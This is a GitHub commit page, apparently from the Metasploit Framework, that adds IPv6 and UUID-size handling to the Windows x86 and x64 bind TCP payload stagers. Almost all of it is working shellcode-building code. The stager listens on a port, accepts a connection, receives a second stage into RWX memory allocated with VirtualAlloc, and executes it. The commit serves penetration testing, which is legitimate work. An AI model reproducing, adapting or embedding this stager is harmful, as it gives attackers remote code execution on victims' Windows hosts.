Skip to content

Commit 9042f14

Browse files
committed
Implement the IPv6 UUID bind stagers
1 parent c07ff70 commit 9042f14

File tree

10 files changed

+278
-85
lines changed

10 files changed

+278
-85
lines changed

lib/msf/core/payload/windows/bind_tcp.rb

Lines changed: 40 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,13 @@ def transport_config(opts={})
5454
transport_config_bind_tcp(opts)
5555
end
5656

57+
#
58+
# Don't use IPv6 by default, this can be overridden by other payloads
59+
#
60+
def use_ipv6
61+
false
62+
end
63+
5764
#
5865
# Generate and compile the stager
5966
#
@@ -84,6 +91,8 @@ def required_space
8491
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
8592
space += 14
8693

94+
space += uuid_required_size if include_send_uuid
95+
8796
# The final estimated size
8897
space
8998
end
@@ -97,8 +106,16 @@ def required_space
97106
#
98107
def asm_bind_tcp(opts={})
99108

100-
reliable = opts[:reliable]
101-
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
109+
reliable = opts[:reliable]
110+
addr_fam = 2
111+
sockaddr_size = 16
112+
113+
if use_ipv6
114+
addr_fam = 23
115+
sockaddr_size = 28
116+
end
117+
118+
encoded_port = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first
102119

103120
asm = %Q^
104121
; Input: EBP must be the address of 'api_call'.
@@ -109,42 +126,41 @@ def asm_bind_tcp(opts={})
109126
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
110127
push 0x5F327377 ; ...
111128
push esp ; Push a pointer to the "ws2_32" string on the stack.
112-
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
129+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
113130
call ebp ; LoadLibraryA( "ws2_32" )
114131
115132
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
116133
sub esp, eax ; alloc some space for the WSAData structure
117134
push esp ; push a pointer to this stuct
118135
push eax ; push the wVersionRequested parameter
119-
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
136+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
120137
call ebp ; WSAStartup( 0x0190, &WSAData );
121138
122-
push 8
139+
push 11
123140
pop ecx
124-
push_8_loop:
125-
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
126-
loop push_8_loop
141+
push_0_loop:
142+
push eax ; if we succeed, eax will be zero, push it enough times
143+
; to cater for both IPv4 and IPv6
144+
loop push_0_loop
127145
128146
; push zero for the flags param [8]
129147
; push null for reserved parameter [7]
130148
; we do not specify a WSAPROTOCOL_INFO structure [6]
131149
; we do not specify a protocol [5]
132-
inc eax ;
133-
push eax ; push SOCK_STREAM
134-
inc eax ;
135-
push eax ; push AF_INET
136-
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
137-
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
150+
push 1 ; push SOCK_STREAM
151+
push #{addr_fam} ; push AF_INET/6
152+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
153+
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
138154
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
139155
140-
; bind to 0.0.0.0, pushed earlier [4]
156+
; bind to 0.0.0.0/[::], pushed earlier
141157
142158
push #{encoded_port} ; family AF_INET and port number
143159
mov esi, esp ; save a pointer to sockaddr_in struct
144-
push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
160+
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
145161
push esi ; pointer to the sockaddr_in struct
146162
push edi ; socket
147-
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
163+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
148164
call ebp ; bind( s, &sockaddr_in, 16 );
149165
^
150166

@@ -159,18 +175,18 @@ def asm_bind_tcp(opts={})
159175
asm << %Q^
160176
; backlog, pushed earlier [3]
161177
push edi ; socket
162-
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
178+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
163179
call ebp ; listen( s, 0 );
164180
165181
; we set length for the sockaddr struct to zero, pushed earlier [2]
166182
; we dont set the optional sockaddr param, pushed earlier [1]
167183
push edi ; listening socket
168-
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
184+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
169185
call ebp ; accept( s, 0, 0 );
170186
171187
push edi ; push the listening socket
172188
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
173-
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
189+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
174190
call ebp ; closesocket( s );
175191
^
176192

@@ -183,7 +199,7 @@ def asm_bind_tcp(opts={})
183199
push 4 ; length = sizeof( DWORD );
184200
push esi ; the 4 byte buffer on the stack to hold the second stage length
185201
push edi ; the saved socket
186-
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
202+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
187203
call ebp ; recv( s, &dwLength, 4, 0 );
188204
^
189205

@@ -202,7 +218,7 @@ def asm_bind_tcp(opts={})
202218
push 0x1000 ; MEM_COMMIT
203219
push esi ; push the newly recieved second stage length.
204220
push 0 ; NULL as we dont care where the allocation is.
205-
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
221+
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
206222
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
207223
; Receive the second stage and execute it...
208224
xchg ebx, eax ; ebx = our new memory address for the new stage
@@ -212,7 +228,7 @@ def asm_bind_tcp(opts={})
212228
push esi ; length
213229
push ebx ; the current address into our second stage's RWX buffer
214230
push edi ; the saved socket
215-
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
231+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
216232
call ebp ; recv( s, buffer, length, 0 );
217233
^
218234

@@ -240,7 +256,7 @@ def asm_bind_tcp(opts={})
240256
else
241257
asm << %Q^
242258
failure:
243-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
259+
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
244260
call ebp
245261
^
246262
end

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,8 @@ def required_space
8282
# Reliability adds 10 bytes for recv error checks
8383
space += 10
8484

85+
space += uuid_required_size if include_send_uuid
86+
8587
# The final estimated size
8688
space
8789
end

lib/msf/core/payload/windows/send_uuid.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,16 @@ def asm_send_uuid(uuid=nil)
3838
asm
3939
end
4040

41+
def uuid_required_size
42+
# Start with the number of bytes required for the instructions
43+
space = 17
44+
45+
# a UUID is 16 bytes
46+
space += 16
47+
48+
space
49+
end
50+
4151
end
4252

4353
end

lib/msf/core/payload/windows/x64/bind_tcp.rb

Lines changed: 67 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,10 @@ def include_send_uuid
4848
false
4949
end
5050

51+
def use_ipv6
52+
false
53+
end
54+
5155
def transport_config(opts={})
5256
transport_config_bind_tcp(opts)
5357
end
@@ -84,6 +88,11 @@ def required_space
8488
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
8589
#space += 14
8690

91+
# 2 more bytes are added for IPv6
92+
space += 2 if use_ipv6
93+
94+
space += uuid_required_size if include_send_uuid
95+
8796
# The final estimated size
8897
space
8998
end
@@ -96,8 +105,18 @@ def required_space
96105
# @option opts [Bool] :reliable Whether or not to enable error handling code
97106
#
98107
def asm_bind_tcp(opts={})
99-
reliable = opts[:reliable]
100-
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
108+
reliable = opts[:reliable]
109+
addr_fam = 2
110+
sockaddr_size = 16
111+
stack_alloc = 408+8+8*6+32*7
112+
113+
if use_ipv6
114+
addr_fam = 23
115+
sockaddr_size = 28
116+
stack_alloc += 8*2 # two more rax pushes
117+
end
118+
119+
encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first
101120

102121
asm = %Q^
103122
bind_tcp:
@@ -108,57 +127,80 @@ def asm_bind_tcp(opts={})
108127
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
109128
; structure (+8 for alignment)
110129
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
111-
mov r12, #{encoded_port}
112-
push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
130+
xor rax, rax
131+
^
132+
133+
if use_ipv6
134+
asm << %Q^
135+
; IPv6 requires another 12 zero-bytes for the socket structure,
136+
; so push 16 more onto the stack
137+
push rax
138+
push rax
139+
^
140+
end
141+
142+
asm << %Q^
143+
push rax ; stack alignment
144+
push rax ; tail-end of the sockaddr_in/6 struct
145+
mov r12, #{encoded_port}
146+
push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port
113147
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
148+
114149
; perform the call to LoadLibraryA...
115150
mov rcx, r14 ; set the param for the library to load
116-
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
151+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
117152
call rbp ; LoadLibraryA( "ws2_32" )
153+
118154
; perform the call to WSAStartup...
119155
mov rdx, r13 ; second param is a pointer to this stuct
120156
push 0x0101 ;
121157
pop rcx ; set the param for the version requested
122-
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
158+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
123159
call rbp ; WSAStartup( 0x0101, &WSAData );
160+
124161
; perform the call to WSASocketA...
162+
push #{addr_fam} ; push AF_INET/6
163+
pop rcx ; pop family into rcx
125164
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
126165
push rax ; push null for reserved parameter
127166
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
128167
xor r8, r8 ; we do not specify a protocol
129168
inc rax ;
130169
mov rdx, rax ; push SOCK_STREAM
131-
inc rax ;
132-
mov rcx, rax ; push AF_INET
133-
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
134-
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
170+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
171+
call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
135172
mov rdi, rax ; save the socket for later
173+
136174
; perform the call to bind...
137-
push 16 ;
175+
push #{sockaddr_size}
138176
pop r8 ; length of the sockaddr_in struct (we only set the
139-
; first 8 bytes as the last 8 are unused)
177+
; first 8 bytes as the rest aren't used)
140178
mov rdx, r12 ; set the pointer to sockaddr_in struct
141179
mov rcx, rdi ; socket
142-
mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
143-
call rbp ; bind( s, &sockaddr_in, 16 );
180+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
181+
call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} );
182+
144183
; perform the call to listen...
145184
xor rdx, rdx ; backlog
146185
mov rcx, rdi ; socket
147-
mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
186+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
148187
call rbp ; listen( s, 0 );
188+
149189
; perform the call to accept...
150190
xor r8, r8 ; we set length for the sockaddr struct to zero
151191
xor rdx, rdx ; we dont set the optional sockaddr param
152192
mov rcx, rdi ; listening socket
153-
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
193+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
154194
call rbp ; accept( s, 0, 0 );
195+
155196
; perform the call to closesocket...
156197
mov rcx, rdi ; the listening socket to close
157198
mov rdi, rax ; swap the new connected socket over the listening socket
158-
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
199+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
159200
call rbp ; closesocket( s );
201+
160202
; restore RSP so we dont have any alignment issues with the next block...
161-
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
203+
add rsp, #{stack_alloc} ; cleanup the stack allocations
162204
^
163205

164206
asm << asm_send_uuid if include_send_uuid
@@ -172,9 +214,10 @@ def asm_bind_tcp(opts={})
172214
push 4 ;
173215
pop r8 ; length = sizeof( DWORD );
174216
mov rcx, rdi ; the saved socket
175-
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
217+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
176218
call rbp ; recv( s, &dwLength, 4, 0 );
177219
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
220+
178221
; Alloc a RWX buffer for the second stage
179222
pop rsi ; pop off the second stage length
180223
push 0x40 ;
@@ -183,18 +226,21 @@ def asm_bind_tcp(opts={})
183226
pop r8 ; MEM_COMMIT
184227
mov rdx, rsi ; the newly recieved second stage length.
185228
xor rcx, rcx ; NULL as we dont care where the allocation is.
186-
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
229+
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
187230
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
231+
188232
; Receive the second stage and execute it...
189233
mov rbx, rax ; rbx = our new memory address for the new stage
190234
mov r15, rax ; save the address so we can jump into it later
235+
191236
read_more: ;
192237
xor r9, r9 ; flags
193238
mov r8, rsi ; length
194239
mov rdx, rbx ; the current address into our second stages RWX buffer
195240
mov rcx, rdi ; the saved socket
196-
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
241+
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
197242
call rbp ; recv( s, buffer, length, 0 );
243+
198244
add rbx, rax ; buffer += bytes_received
199245
sub rsi, rax ; length -= bytes_received
200246
test rsi, rsi ; test length

lib/msf/core/payload/windows/x64/reverse_tcp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -90,6 +90,8 @@ def required_space
9090
# Reliability adds 10 bytes for recv error checks
9191
space += 10
9292

93+
space += uuid_required_size if include_send_uuid
94+
9395
# The final estimated size
9496
space
9597
end

lib/msf/core/payload/windows/x64/send_uuid.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,16 @@ def asm_send_uuid(uuid=nil)
4040
asm
4141
end
4242

43+
def uuid_required_size
44+
# Start with the number of bytes required for the instructions
45+
space = 25
46+
47+
# a UUID is 16 bytes
48+
space += 16
49+
50+
space
51+
end
52+
4353
end
4454

4555
end

0 commit comments

Comments
 (0)